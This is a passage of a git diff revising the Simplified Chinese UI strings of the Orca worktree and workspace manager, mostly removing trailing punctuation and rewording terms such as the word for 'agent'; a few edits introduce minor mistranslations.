-          "26cbc92150": "工作区看板设置",
+          "26cbc92150": "工作区板设置",
           "87d24a0c2f": "同步看板和议题状态",
-          "4c2eaa78cc": "移动已关联的工作区时，如果存在匹配的工作流状态，将更新其 Linear 议题状态。"
+          "4c2eaa78cc": "移动已关联的工作区时，如果存在匹配的工作流状态，将更新其 Linear 议题状态"
         },
         "WorkspaceKanbanStatusLane": {
           "8ad104642b": "空的",
-          "3611d1ae7f": "调整工作区看板列宽",
+          "3611d1ae7f": "调整工作区板列的大小",
           "2df01a03ff": "没有匹配项",
           "newWorkspaceIn": "在 {{status}} 中新建工作区"
         },
@@ -5753,13 +6013,13 @@
           "ccbd1e2c69": "自定义 {{value0}} 外观"
         },
         "WorktreeCard": {
-          "a88c92d0e3": "{{value0}}/{{value1}} 已存在。",
+          "a88c92d0e3": "{{value0}}/{{value1}} 已存在",
           "6f09f58541": "删除工作区",
-          "0777de5970": "主工作树（原始克隆目录）",
-          "0f33af979b": "部分检出。这些路径之外的文件不在磁盘上。",
+          "0777de5970": "主工作树(原始克隆目录)",
+          "0f33af979b": "部分检出，这些路径之外的文件不在磁盘上",
           "4f964d5e8c": "稀疏",
           "7d517f82e2": "主要",
-          "4eba2ea99e": "自动命名失败。点击查看详情。",
+          "4eba2ea99e": "自动命名失败，点击查看详情",
           "74522ee457": "重命名失败",
           "02e19349f4": "自动重命名失败：查看错误",
           "691ccfd622": "正在删除...",
@@ -5775,7 +6035,7 @@
           "ef18787206": "已排队删除"
         },
         "WorktreeCardAgents": {
-          "1b0a156717": "智能体",
+          "1b0a156717": "代理",
           "agentUnavailable": "智能体不可用",
           "sendingTarget": "正在发送..."
         },
@@ -5795,18 +6055,18 @@
           "openAutomationRun": "打开运行",
           "automationCreated": "由自动化创建",
           "checkingAutomationAvailability": "正在检查自动化可用性...",
-          "automationMissing": "自动化已不可用。",
-          "automationRunMissing": "运行历史已不可用。",
-          "automationAvailabilityUnavailable": "无法检查自动化可用性。",
+          "automationMissing": "自动化已不可用",
+          "automationRunMissing": "运行历史已不可用",
+          "automationAvailabilityUnavailable": "无法检查自动化可用性",
           "moreIssueActions": "更多议题操作",
           "copyLink": "复制链接",
           "copyLinkSuccess": "{{value0}} 已复制",
           "copyLinkFailure": "复制链接失败",
           "issueLinkLabel": "议题链接",
           "cliHeader": "Orca CLI",
-          "cliCreatedFromAgent": "由智能体通过 `orca worktree create` 创建",
+          "cliCreatedFromAgent": "由代理通过 `orca worktree create` 创建",
           "cliCreatedFromShell": "通过 `orca worktree create` 创建",
-          "cliStartupAgent": "Started with {{value0}}",
+          "cliStartupAgent": "以 {{value0}} 启动",
           "cliCreated": "由 Orca CLI 创建",
           "linkedJira": "已关联 Jira {{value0}}",
           "openInOrcaBrowser": "在 Orca 浏览器中打开"
@@ -5832,7 +6092,7 @@
           "livePorts_other": "{{count}} 个活动端口"
         },
         "WorktreeContextMenu": {
-          "c39c37676a": "创建一个组并将该项目移入其中。",
+          "c39c37676a": "创建一个组并将该项目移入其中",
           "6664418e98": "新项目组",
           "e091caab15": "找不到该项目",
           "579b1a8e61": "从父级中删除",
@@ -5843,8 +6103,8 @@
           "f4475537d8": "删除",
           "f5ac91531d": "从 Orca 中删除项目",
           "b42391d8bf": "正在删除...",
-          "0918b35e4f": "关闭此工作区中的所有活动面板以释放内存和 CPU。",
-          "7d190f7d2b": "关闭选定工作区中的所有活动面板以释放内存和 CPU。",
+          "0918b35e4f": "关闭此工作区中的所有活动面板以释放内存和 CPU",
+          "7d190f7d2b": "关闭选定工作区中的所有活动面板以释放内存和 CPU",
           "84cdbb7e30": "移至状态",
           "56cde9e8e6": "将状态移至",
           "f50603c6b2": "标记为未读",
@@ -5855,12 +6115,12 @@
           "changeParentWorkspace": "更改父工作树...",
           "setParentWorkspace": "设置父工作树...",
           "workspaceSection": "工作区",
-          "primaryDeleteDisabled": "主工作树不能删除。请改为移除项目。",
+          "primaryDeleteDisabled": "主工作树不能删除，请改为移除项目",
           "deleteWorktree": "删除工作树",
-          "sleepWithDescendantsDescription": "关闭此工作区中的活动面板以及每个嵌套的后代面板以释放内存和 CPU。",
+          "sleepWithDescendantsDescription": "关闭此工作区及所有嵌套后代中的活动面板，以释放内存和 CPU",
           "sleepThisWorkspace": "当前工作区",
           "sleepDescendantsOption": "包括后代 ({{value0}})",
-          "deleteWithDescendants": "与后代一起删除...",
+          "deleteWithDescendants": "连同后代一起删除…",
           "editDetails": "编辑详情…",
           "copySubmenu": "复制",
           "copyPathOption": "路径",
@@ -5869,8 +6129,8 @@
           "projectGroupSubmenu": "项目组"
         },
         "WorktreeList": {
-          "d880ea0744": "创建一个组并将该项目移入其中。",
-          "bc1460beb3": "更新侧栏中显示的组名称。",
+          "d880ea0744": "创建一个组并将该项目移入其中",
+          "bc1460beb3": "更新侧栏中显示的组名称",
           "13757c053c": "新项目组",
           "f9dc6cc5d3": "重命名项目组",
           "370c6a55dd": "清除筛选条件",
@@ -5891,7 +6151,7 @@
           "bd37a57ac8": "为 {{value0}} 创建工作区",
           "b667b59632": "部分项目无法从 Orca 中移除",
           "groupDeleteFailed": "删除分组失败",
-          "groupDeleteFailedDesc": "删除分组时出现问题。没有项目被移除。",
+          "groupDeleteFailedDesc": "删除分组时出现问题，没有项目被移除",
           "7a8b9c0d1e": "需要更新",
           "hostAuthNeeded": "需要身份验证",
           "hostDisconnected": "已断开连接",
@@ -5899,12 +6159,12 @@
           "sidebarRowMissing": "目标不再存在",
           "failedUnnestWorkspace": "展开工作区失败",
           "groupRenameFailed": "重命名组失败",
-          "groupRenameFailedDesc": "Orca 无法与该分组所在的主机确认新名称。重新连接后请再次检查该分组。",
+          "groupRenameFailedDesc": "Orca 无法与该组所属主机确认新名称，请在重新连接后检查该组",
           "hostRepairRequired": "Re-pair required",
           "showChildWorkspaces_other": "显示 {{count}} 个子工作区",
           "hideChildWorkspaces_other": "隐藏 {{count}} 个子工作区",
           "childCount_other": "{{count}} 个子项",
-          "groupProjectsRemained_other": "删除组后，原先包含的 {{count}} 个项目中仍保留了 {{remaining}} 个。",
+          "groupProjectsRemained_other": "删除组后，原先包含的 {{count}} 个项目中仍保留了 {{remaining}} 个",
           "hostServerReplaced": "服务器不同：请先遗忘，再连接"
         },
         "WorktreeMetaDialog": {
@@ -5918,67 +6178,67 @@
         "WorktreeOpenInMenu": {
           "1417fd8380": "自定义应用程序...",
           "8009ab69a6": "打开于",
-          "bd0e8159f8": "检查本机上的编辑器命令或文件管理器配置。",
-          "9a5381eb09": "无法打开工作区文件夹。",
-          "0bed8727db": "它可能已被手机或删除。刷新工作区或将其从 Orca 中删除。",
-          "3921d3d9a5": "找不到工作区文件夹。",
+          "bd0e8159f8": "检查本机上的编辑器命令或文件管理器配置",
+          "9a5381eb09": "无法打开工作区文件夹",
+          "0bed8727db": "它可能已被手机或删除，刷新工作区或将其从 Orca 中删除",
+          "3921d3d9a5": "找不到工作区文件夹",
           "pathNotFound": "未找到文件或文件夹。它可能已被移动或删除。",
-          "f387af445b": "工作区路径不是有效的本地路径。",
+          "f387af445b": "工作区路径不是有效的本地路径",
           "pathInvalid": "路径不是有效的本地路径。",
-          "localOnly": "Local only",
-          "remoteSsh": "Remote SSH",
-          "remoteRuntimeUnsupported": "无法在本地应用中打开此路径。",
-          "remoteRuntimeUnsupportedDetail": "请切换到本地或 SSH 工作区，然后重试。",
-          "sshTargetNotFound": "SSH 主机已不可用。",
-          "sshTargetNotFoundDetail": "请刷新工作区或重新连接主机，然后重试。",
-          "sshTargetInvalid": "SSH 主机配置不完整。",
-          "sshTargetInvalidDetail": "请编辑或重新连接 SSH 主机，然后重试。",
-          "sshAliasRequired": "此编辑器需要此主机的 SSH 配置别名。",
-          "sshAliasRequiredDetail": "请在本地 SSH 配置中为 {{host}}:{{port}} 添加 Host 别名，重新连接工作区，然后重试。",
-          "remoteEditorUnsupported": "此应用无法打开 SSH 工作区。",
-          "remoteEditorUnsupportedDetail": "请选择 VS Code、Cursor 或 Zed，或在本地使用该应用。",
-          "remotePathInvalid": "路径对此 SSH 主机无效。",
-          "remotePathInvalidDetail": "请先刷新工作区，再重试。",
+          "localOnly": "仅本地",
+          "remoteSsh": "远程 SSH",
+          "remoteRuntimeUnsupported": "无法在本地应用中打开此路径",
+          "remoteRuntimeUnsupportedDetail": "请切换到本地或 SSH 工作区，然后重试",
+          "sshTargetNotFound": "SSH 主机已不可用",
+          "sshTargetNotFoundDetail": "请刷新工作区或重新连接主机，然后重试",
+          "sshTargetInvalid": "SSH 主机配置不完整",
+          "sshTargetInvalidDetail": "请编辑或重新连接 SSH 主机，然后重试",
+          "sshAliasRequired": "此编辑器需要此主机的 SSH 配置别名",
+          "sshAliasRequiredDetail": "请在本地 SSH 配置中为 {{host}}:{{port}} 添加 Host 别名，重新连接工作区，然后重试",
+          "remoteEditorUnsupported": "此应用无法打开 SSH 工作区",
+          "remoteEditorUnsupportedDetail": "请选择 VS Code、Cursor 或 Zed，或在本地使用该应用",
+          "remotePathInvalid": "路径对此 SSH 主机无效",
+          "remotePathInvalidDetail": "请先刷新工作区，再重试",
           "pathLaunchFailed": "无法在编辑器中打开此路径。",
           "pathLaunchFailedDetail": "请检查此计算机上配置的编辑器命令。",
           "wsl": "WSL",
-          "remoteEditorHint": "只有 VS Code、Cursor 和 Zed 可以打开 SSH 主机上的文件夹。",
-          "remoteRuntimeEditorHint": "只有当 Orca 通过 SSH 连接到此服务器时，本机应用才能打开服务器上的文件。"
+          "remoteEditorHint": "只有 VS Code、Cursor 和 Zed 可以打开 SSH 主机上的文件夹",
+          "remoteRuntimeEditorHint": "只有在 Orca 通过 SSH 连接到该服务器时，本机应用才能打开它的文件"
         },
         "WorktreeTitleInlineRename": {
           "2f42ae024f": "未读：",
           "bff3bdd00c": "重命名工作区",
-          "8df295a78d": "无法重命名工作区。"
+          "8df295a78d": "无法重命名工作区"
         },
         "WorktreeVisibilityHelpPopover": {
           "c41f2d7e90": "哪些工作树默认隐藏？",
-          "8db4e19a26": "此设置不会隐藏通过 Orca 创建的工作树。",
-          "ec1e6a10fb": "其他工作树默认隐藏，以免侧边栏意外变得杂乱。",
-          "1c68c9cf77": "启用来源可显示其当前及未来的所有工作树，也可以在下方单独显示工作树。"
+          "8db4e19a26": "此设置不会隐藏通过 Orca 创建的工作树",
+          "ec1e6a10fb": "其他工作树默认隐藏，以免侧边栏意外变得杂乱",
+          "1c68c9cf77": "启用来源可显示其当前及未来的所有工作树，也可以在下方单独显示工作树"
         },
         "HiddenWorktreeRecoveryList": {
-          "64e6f53f05": "无需启用来源即可单独显示一个工作树。",
+          "64e6f53f05": "无需启用来源即可单独显示一个工作树",
           "showWorktree": "显示位于 {{value1}} 的 {{value0}}"
         },
         "WorktreeVisibilityDialog": {
           "83a5ba8dd1": "非 Orca 工作树",
           "a3f19c07d2": "检查中…",
-          "b8d24e61f5": "无法列出此仓库的工作树。",
+          "b8d24e61f5": "无法列出此仓库的工作树",
           "c5e70a93b1": "重试",
           "7d21c5e848": "已隐藏的工作树（{{value0}}）",
           "2f80cd4b97": "显示中…",
           "e64b81d3a9": "显示",
-          "d40d436fc2": "无法更新工作树可见性。请重试。",
-          "unsupportedHost": "此主机不支持按来源设置工作树可见性。请更新主机上的 Orca 以更改此设置。",
+          "d40d436fc2": "无法更新工作树可见性，请重试",
+          "unsupportedHost": "此主机不支持按来源设置工作树可见性，请更新主机上的 Orca 以更改此设置",
           "search": "搜索隐藏的工作树",
           "noMatches": "没有匹配的工作树",
           "allShown": "已显示所有检测到的工作树",
           "noneFound": "未找到非 Orca 工作树",
-          "tryDifferentSearch": "请尝试其他名称或路径。",
-          "disableSource": "禁用来源后可单独管理其工作树。",
-          "appearWhenDetected": "Orca 检测到新工作树后，它们会显示在这里。",
+          "tryDifferentSearch": "请尝试其他名称或路径",
+          "disableSource": "禁用来源后可单独管理其工作树",
+          "appearWhenDetected": "Orca 检测到新工作树后，它们会显示在这里",
           "openGlobalSettings": "在全局设置中管理",
-          "globalSettingsSources": "以下来源有全局设置，可在此处覆盖：",
+          "globalSettingsSources": "这些来源有全局设置，您可以在此处覆盖：",
           "searchHiddenPlaceholder_other": "搜索 {{count}} 个工作树…"
         },
         "WorktreeVisibilitySourceList": {
@@ -5987,24 +6247,24 @@
           "other": "其他位置",
           "custom": "自定义位置",
           "otherPath": "所列来源之外",
-          "invalidPath": "请输入此主机上的绝对路径。",
-          "duplicatePath": "此位置已在列表中。",
-          "limit": "请先移除一个自定义位置再添加新位置。",
+          "invalidPath": "请输入此主机上的绝对路径",
+          "duplicatePath": "此位置已在列表中",
+          "limit": "请先移除一个自定义位置再添加新位置",
           "sources": "来源",
-          "sourcesDescription": "设为显示的来源，其当前及未来工作树会显示在侧边栏中。",
+          "sourcesDescription": "已启用来源的当前及未来工作树会显示在侧边栏中",
           "found": "找到 {{value0}} 个",
           "remove": "移除 {{value0}}",
           "removeLocation": "移除自定义位置",
           "addLocation": "添加位置",
           "worktreeRoot": "工作树根目录",
           "add": "添加",
-          "rootHelp": "Orca 会识别此文件夹下的工作树。",
+          "rootHelp": "Orca 会识别此文件夹下的工作树",
           "visibility": "{{value0}} 的可见性",
           "show": "显示",
           "hide": "隐藏",
-          "overridingGlobal": "正在覆盖全局设置：{{value0}}",
-          "projectOnly": "仅在此项目中添加。",
-          "useGlobalFor": "为 {{value0}} 使用全局设置",
+          "overridingGlobal": "覆盖全局设置：{{value0}}",
+          "projectOnly": "仅在此项目中添加",
+          "useGlobalFor": "对 {{value0}} 使用全局设置",
           "useGlobal": "使用全局设置"
         },
         "add": {
@@ -6014,10 +6274,10 @@
                 "actions": {
                   "d72789705e": "从空文件夹开始",
                   "c709860596": "创建新项目",
-                  "5f9ffac036": "克隆远程 Git 仓库",
+                  "5f9ffac036": "克隆远程 Git 存储库",
                   "7edb8ebe24": "从 URL 克隆",
                   "serverSshTitle": "此服务器 SSH 主机上的项目",
-                  "serverSshAddOnThisComputer": "无法从服务器使用。请在此电脑上添加该 SSH 主机以打开其项目。",
+                  "serverSshAddOnThisComputer": "无法从服务器使用，请在此电脑上添加该 SSH 主机以打开其项目",
                   "fb4fc5380e": "本地项目、Git 仓库或包含多个仓库的文件夹",
                   "2281fdc8c7": "浏览文件夹",
                   "runtimeBrowseDescription": "此主机上的现有 Git 仓库或文件夹"
@@ -6029,7 +6289,7 @@
         "delete": {
           "worktree": {
             "flow": {
-              "b81b4e40ca": "如果工作区列表看起来过时，请刷新空间并重试。",
+              "b81b4e40ca": "如果工作区列表看起来过时，请刷新空间并重试",
               "7243145cd6": "未选择可删除的工作区",
               "ae57cbf6e4": "删除工作区失败",
               "7488ed8711": "查看",
@@ -6039,20 +6299,20 @@
             },
             "toast": {
               "1d0fa5c0a5": "无法删除工作区 {{value0}}",
-              "ead7b8ee15": "它已更改文件。无论如何，请使用强制删除将其删除。",
-              "905fc8efac": "Git 已经删除了这个工作区。使用强制删除将其从 Orca 中清除。",
-              "0899ebdb28": "Git 已经忘记了这个工作区，但它的目录仍然在磁盘上。使用强制删除来删除孤立目录。",
-              "locked": "此工作区被 Git 锁定。请在其仓库中运行 git worktree unlock <worktree-path>，然后重试删除。",
-              "lockedReason": "此工作区被 Git 锁定。Git 报告：{{value0}}。请在其仓库中运行 git worktree unlock <worktree-path>，然后重试删除。",
-              "unstoppedPty": "Orca 无法确认此工作区中的每个终端都已退出，因此它在删除任何文件之前停止。无论如何，请使用强制删除将其删除。",
-              "unstoppedPtyLive": "该工作区仍然有正在运行的终端，因此 Orca 在删除任何文件之前停止了。强制删除将杀死它们并丢弃它们持有的任何未提交的工作。",
-              "runningAgentSession": "Orca 无法确认此工作区中的每个智能体会话都已关闭，因此它在删除任何文件之前停止。无论如何，请使用强制删除将其删除。",
-              "runningAgentSessionLive": "此工作区仍然有 Orca 无法关闭的正在运行的智能体会话，因此它在删除任何文件之前停止了。强制删除将丢弃他们持有的任何工作。",
-              "submodules": "此工作区包含子模块，因此 Git 只能通过“强制删除”来删除它。强制删除还会永久移除子模块中所有从未推送的内容，包括提交、本地分支和 stash。"
+              "ead7b8ee15": "它已更改文件，无论如何，请使用强制删除将其删除",
+              "905fc8efac": "Git 已经删除了这个工作区，使用强制删除将其从 Orca 中清除",
+              "0899ebdb28": "Git 已经忘记了这个工作区，但它的目录仍然在磁盘上，使用强制删除来删除孤立目录",
+              "locked": "此工作区被 Git 锁定，请在其仓库中运行 git worktree unlock <worktree-path>，然后重试删除",
+              "lockedReason": "此工作区被 Git 锁定，Git 报告：{{value0}}，请在其仓库中运行 git worktree unlock <worktree-path>，然后重试删除",
+              "unstoppedPty": "Orca 无法确认此工作区中的每个终端都已退出，因此在删除任何文件前已停止，可使用强制删除仍然移除",
+              "unstoppedPtyLive": "此工作区仍有正在运行的终端，因此 Orca 在删除任何文件前已停止，强制删除会终止这些终端并丢弃其中未提交的工作，",
+              "runningAgentSession": "此工作区仍有运行中的代理会话，因此 Orca 尚未删除任何文件，强制删除将关闭这些会话，并丢弃其中的工作",
+              "runningAgentSessionLive": "此工作区仍有正在运行且 Orca 无法关闭的代理会话，因此删除操作在处理任何文件之前已停止，强制删除会丢弃这些会话中尚未保存的工作",
+              "submodules": "此工作区包含子模块，Git 只能通过强制删除来移除它，强制删除还会永久删除这些子模块中从未推送的内容：提交、本地分支和贮藏"
             },
             "failure": {
               "archive": {
-                "waiver": "无论如何删除"
+                "waiver": "仍然删除"
               }
             }
           }
@@ -6082,9 +6342,9 @@
         "sidebar": {
           "project": {
             "drop": {
-              "669e12dd97": "本地文件夹和 Git 仓库",
-              "ffc769ca29": "拖放文件夹以添加项目",
-              "740e8d0d46": "使用“添加项目”作为服务器路径",
+              "669e12dd97": "本地文件夹和 Git 存储库",
+              "ffc769ca29": "删除文件夹以添加项目",
+              "740e8d0d46": "使用\"添加项目\"作为服务器路径",
               "e344666fb8": "服务器运行时处于激活状态",
               "d0f8943f8b": "准备项目添加流程",
               "18d3cf40e9": "检查文件夹",
@@ -6096,49 +6356,49 @@
         "sleep": {
           "worktree": {
             "flow": {
-              "c460fecc4a": "部分工作区休眠失败",
-              "8bc3fc0671": "工作区休眠失败",
+              "c460fecc4a": "无法睡眠某些工作区",
+              "8bc3fc0671": "无法睡眠工作区",
               "legacy": {
-                "unverified": "旧版主机运行时无法确认终端已关闭。工作区已保持打开；请更新主机后重试。"
+                "unverified": "旧版主机运行时无法确认终端已关闭，工作区已保持打开，请更新主机后重试"
               },
               "twin": {
-                "unattributed": "Orca 无法判断哪个主机运行此工作区的终端，因此工作区保持打开状态。重新连接其主机并重试。"
+                "unattributed": "Orca 无法判断此工作区的终端在哪台主机上运行，因此工作区保持打开状态。请重新连接其主机并重试。"
               },
               "host": {
-                "unverified": "主机无法确认终端已关闭。工作区已保持打开；请检查连接后重试。"
+                "unverified": "主机无法确认终端已关闭，工作区已保持打开，请检查连接后重试"
               },
-              "retry": "工作区已保持打开。请重试；如果问题仍然存在，请检查主机连接。",
+              "retry": "工作区已保持打开，请重试，如果问题仍然存在，请检查主机连接",
               "vm": {
-                "running": "工作区的终端已停止，但其机器无法挂起，仍在运行。"
+                "running": "工作区的终端已停止，但其机器无法挂起，仍在运行"
               },
               "chat": {
-                "partial": "主机无法确认聊天是否已停止。其他面板可能已关闭；请检查连接后重试。"
+                "partial": "主机无法确认聊天已停止，其他面板可能已关闭，请检查连接后重试"
               }
             }
           }
         },
         "useAddRepoCloneFlow": {
           "4d0013cc93": "仓库已克隆",
-          "0dc4d1b657": "输入克隆目标的服务器路径。"
+          "0dc4d1b657": "输入克隆目标的服务器路径"
         },
         "useAddRepoLocalFolderFlow": {
-          "7ab10e4974": "使用服务器路径从远程运行时添加项目。",
+          "7ab10e4974": "使用服务器路径从远程运行时添加项目",
           "skippedBatchFolders": "已跳过部分文件夹",
-          "skippedBatchFoldersDescription": "请单独添加已跳过的文件夹，以便逐个查看或确认。"
+          "skippedBatchFoldersDescription": "请单独添加已跳过的文件夹，以便逐个查看或确认"
         },
         "useAddRepoNestedImportFlow": {
           "680cac2c82": "{{value0}} 失败",
-          "cbfbc7a797": "某些仓库无法导入",
-          "1b33c5f090": "没有导入仓库"
+          "cbfbc7a797": "某些存储库无法导入",
+          "1b33c5f090": "没有导入存储库"
         },
         "useSidebarProjectDrop": {
-          "f34a286c0d": "无法添加删除的文件夹。",
-          "451a4638db": "拖放文件夹以将其添加为项目。",
-          "5ccb56c7be": "使用“添加项目”输入服务器路径。",
-          "849ef13dc0": "本地文件夹放置对于服务器运行时不可用。",
-          "c0315153d1": "一次放下一个文件夹。",
-          "windowsDriveOnWslHost": "Windows 驱动器上的文件夹保留在此计算机上，而不在 {{value0}} 中。",
-          "windowsDriveOnWslHostDescription": "在 Windows 驱动器上，WSL 中的 Git 速度很慢。请将主机切换到此计算机以添加它，或从 \\\\wsl.localhost\\{{value0}} 拖放文件夹。"
+          "f34a286c0d": "无法添加删除的文件夹",
+          "451a4638db": "拖放文件夹以将其添加为项目",
+          "5ccb56c7be": "使用\"添加项目\"输入服务器路径",
+          "849ef13dc0": "本地文件夹放置对于服务器运行时不可用",
+          "c0315153d1": "一次放下一个文件夹",
+          "windowsDriveOnWslHost": "Windows 驱动器上的文件夹保留在此计算机上，而不在 {{value0}} 中",
+          "windowsDriveOnWslHostDescription": "在 Windows 驱动器上，WSL 中的 Git 速度很慢，请将主机切换到此计算机以添加它，或从 \\\\wsl.localhost\\{{value0}} 拖放文件夹"
         },
         "workspace": {
           "status": {
@@ -6174,7 +6434,7 @@
           "card": {
             "compact": {
               "agents": {
-                "289a1d2ca7": "展开{{value0}}。 {{value1}}",
+                "289a1d2ca7": "展开{{value0}}，{{value1}}",
                 "0c1debfe84": "折叠 {{value0}}"
               }
             }
@@ -6209,7 +6469,7 @@
                 "toast": {
                   "670864ab52": "使本地 {{value0}} 保持最新",
                   "84c62e4d7f": "无法开启 {{value0}}",
-                  "442552c656": "打开设置并重试。",
+                  "442552c656": "打开设置并重试",
                   "34a03a6565": "保持 {{value0}} 最新",
                   "4a18052018": "本地 {{value0}} 落后于 {{value1}}",
                   "staleLocalBranch_other": "新工作树已是最新状态，但本地分支 {{branch}} 落后 {{count}} 个提交，因此 AI 差异比较可能会基于过时的历史记录。让 Orca 自动更新此分支。你可以随时在<settings>设置 › {{setting}}</settings>中更改此设置"
@@ -6220,28 +6480,28 @@
         },
         "LinearAgentSkillSetupPrompt": {
           "modalTitle": "启用 Linear ticket 访问",
-          "modalPrompt": "允许智能体读取和编辑已附加的 Linear ticket。",
+          "modalPrompt": "允许代理读取和编辑已附加的 Linear ticket",
           "dontShowAgain": "不再显示",
-          "missingSkill": "缺少 Linear 智能体技能。",
-          "title": "设置 Linear 智能体技能",
-          "remoteCopy": "这会安装主机设置；远程智能体环境可能需要单独设置。",
-          "hostCopy": "为已链接 Linear 工作的主机智能体交接安装此项。",
-          "dismiss": "关闭 Linear 智能体技能设置",
+          "missingSkill": "缺少 Linear 代理技能",
+          "title": "设置 Linear 代理技能",
+          "remoteCopy": "这会安装主机设置，远程代理环境可能需要单独设置",
+          "hostCopy": "为已链接 Linear 工作的主机代理交接安装此项",
+          "dismiss": "关闭 Linear 代理技能设置",
           "setup": "设置",
           "recheck": "重新检查",
           "successTitle": "Linear 议题访问已就绪",
-          "successDescription": "智能体现在可以从此工作区读取和更新已链接的 Linear 议题。",
-          "successDescriptionWsl": "WSL 智能体现在可以从此工作区使用已链接的 Linear 议题。",
-          "successDescriptionRemote": "主机智能体现在可以使用已链接的 Linear 议题。远程智能体环境可能仍需要单独设置。",
+          "successDescription": "代理现在可以从此工作区读取和更新已链接的 Linear 议题",
+          "successDescriptionWsl": "WSL 代理现在可以从此工作区使用已链接的 Linear 议题",
+          "successDescriptionRemote": "主机代理现在可以使用已链接的 Linear 议题，远程代理环境可能仍需要单独设置",
           "successStatus": "Linear 议题访问已就绪",
           "done": "完成",
-          "wslCopy": "为已链接 Linear 工作的 WSL 智能体交接安装此项。",
-          "wslLabel": "WSL 默认值",
+          "wslCopy": "为已链接 Linear 工作的 WSL 代理交接安装此项",
+          "wslLabel": "WSL",
           "toastMissingSkill": "缺少 Linear 技能",
-          "toastInstallSkillDescription": "安装 Linear 技能，让智能体可以通过 Orca CLI 读取并编辑 Linear 任务。",
-          "toastRemoteDescription": "{{value0}} 远程智能体环境可能仍需要自己的设置。",
-          "toastWslDescription": "{{value0}} 此设置会在所选 WSL 智能体运行时中执行。",
-          "modalInstallDescription": "为你的智能体安装 Linear 技能。"
+          "toastInstallSkillDescription": "安装 Linear 技能，让代理可以通过 Orca CLI 读取并编辑 Linear 任务",
+          "toastRemoteDescription": "{{value0}} 远程代理环境可能仍需要自己的设置",
+          "toastWslDescription": "{{value0}} 此设置会在所选 WSL 代理运行时中执行",
+          "modalInstallDescription": "为你的智能体安装 Linear 技能"
         },
         "FolderWorkspaceComposerDialog": {
           "title": "创建文件夹工作区",
@@ -6254,11 +6514,11 @@
           "addSshHost": "添加 SSH 主机",
           "addRemoteServer": "添加远程服务器",
           "addRemoteHost": "添加远程主机",
-          "addSshHostDetail": "通过 SSH 使用现有机器。",
-          "addRemoteServerDetail": "与另一台电脑上运行的 Orca 配对。",
+          "addSshHostDetail": "通过 SSH 使用现有机器",
+          "addRemoteServerDetail": "与另一台电脑上运行的 Orca 配对",
           "addRemoteHostDetail": "SSH 主机或 Orca 服务器",
           "addWslHost": "添加 WSL 发行版",
-          "addWslHostDetail": "在 WSL 2 发行版内运行 Orca 服务器。实验性。",
+          "addWslHostDetail": "在 WSL 2 发行版内运行 Orca 服务器，实验性",
           "addRemoteHostDetailWithWsl": "SSH 主机、Orca 服务器或 WSL 发行版",
           "turnOnWslHosts": "开启"
         },
@@ -6271,21 +6531,21 @@
           "1a2b3c4d5e": "已移除 {{value0}}",
           "2b3c4d5e6f": "删除主机失败",
           "3c4d5e6f7a": "移除 {{value0}}？",
-          "4d5e6f7a8b": "这会打开 Orca 服务器设置，你可以在那里移除此服务器。",
-          "5e6f7a8b9c": "这会从此计算机移除保存的 SSH 主机及其凭据。远程文件不会被删除。",
+          "4d5e6f7a8b": "这会打开 Orca 服务器设置，你可以在那里移除此服务器",
+          "5e6f7a8b9c": "这会从此计算机移除保存的 SSH 主机及其凭据，远程文件不会被删除",
           "6f7a8b9c0d": "取消",
           "7a8b9c0d1e": "打开设置",
           "8b9c0d1e2f": "删除主机",
-          "workspacesFailed": "无法移除此主机的 {{count}} 个工作区。主机已保留，您可以重试。",
+          "workspacesFailed": "无法移除此主机的 {{count}} 个工作区，主机已保留，您可以重试",
           "advanced": "高级",
-          "alsoForgetLocalHint": "仅从 Orca 中清除。远程文件、工作树和分支均不受影响。",
-          "wslHostEndsTerminalsUnlessShared": "从 Orca 中移除 {{value0}}。除非此计算机上打开的另一个 Orca 正在使用它，否则还会结束其打开的终端，并停止该发行版中的 Orca 服务器。发行版中的文件不受影响。",
-          "hostKeepsWorkspaces_other": "从此电脑移除 {{host}} 及其凭据。其 {{count}} 个工作区会保留在 Orca 中，远程文件不会受到影响。",
+          "alsoForgetLocalHint": "仅从 Orca 中清除，远程文件、工作树和分支不受影响",
+          "wslHostEndsTerminalsUnlessShared": "从 Orca 中移除 {{value0}}。除非此计算机上打开的另一个 Orca 正在使用它，否则还会结束其打开的终端，并停止该发行版中的 Orca 服务器。发行版中的文件不受影响",
+          "hostKeepsWorkspaces_other": "从此电脑移除 {{host}} 及其凭据。其 {{count}} 个工作区会保留在 Orca 中，远程文件不会受到影响",
           "alsoRemoveWorkspaces_other": "同时从 Orca 移除这 {{count}} 个工作区"
         },
         "HostRenameDialog": {
           "1a2b3c4d5e": "重命名主机",
-          "2b3c4d5e6f": "此标签仅在此计算机上显示。留空以使用默认名称。",
+          "2b3c4d5e6f": "此标签仅在此计算机上显示，留空以使用默认名称",
           "3c4d5e6f7a": "显示名称",
           "4d5e6f7a8b": "重置为默认",
           "5e6f7a8b9c": "取消",
@@ -6309,13 +6569,13 @@
         "WorkspaceKanbanDrawer": {
           "1975a4e480": "任务状态同步失败",
           "e02b0d92ff": "任务状态同步已跳过",
-          "c1d2e3f4a5": "无法读取 Linear 议题 {{value0}}。",
-          "d2e3f4a5b6": "没有与 {{value0}} 匹配的 Linear 工作流状态。",
-          "e3f4a5b6c7": "有多个 Linear 工作流状态与 {{value0}} 匹配。",
-          "f4a5b6c7d8": "无法更新 Linear 议题 {{value0}}。",
-          "a5b6c7d8e9": "无法同步 Linear 议题 {{value0}}。",
-          "b6c7d8e9f0": "无法完成任务状态同步。",
-          "f0a1b2c3d4": "已跳过 Linear 问题 {{value0}}：此工作区位于多个主机上。",
+          "c1d2e3f4a5": "无法读取 Linear 议题 {{value0}}",
+          "d2e3f4a5b6": "没有与 {{value0}} 匹配的 Linear 工作流状态",
+          "e3f4a5b6c7": "有多个 Linear 工作流状态与 {{value0}} 匹配",
+          "f4a5b6c7d8": "无法更新 Linear 议题 {{value0}}",
+          "a5b6c7d8e9": "无法同步 Linear 议题 {{value0}}",
+          "b6c7d8e9f0": "无法完成任务状态同步",
+          "f0a1b2c3d4": "已跳过 Linear 问题 {{value0}}：此工作区位于多个主机上",
           "c7d8e9f0a1": "已更新 {{value0}} 个",
           "d8e9f0a1b2": "已跳过 {{value0}} 个",
           "e9f0a1b2c3": "失败 {{value0}} 个"
@@ -6324,19 +6584,19 @@
           "failedSetParent": "无法设置父工作树",
           "current": "当前",
           "searchPlaceholder": "搜索工作树...",
-          "empty": "没有匹配的可用工作树。",
+          "empty": "没有匹配的可用工作树",
           "setParentForName": "为 <name>{{name}}</name> 设置父级"
         },
         "WorktreeCardStatusSlot": {
           "branchIdentity": "分支",
-          "sleeping": "休眠",
+          "sleeping": "休眠中",
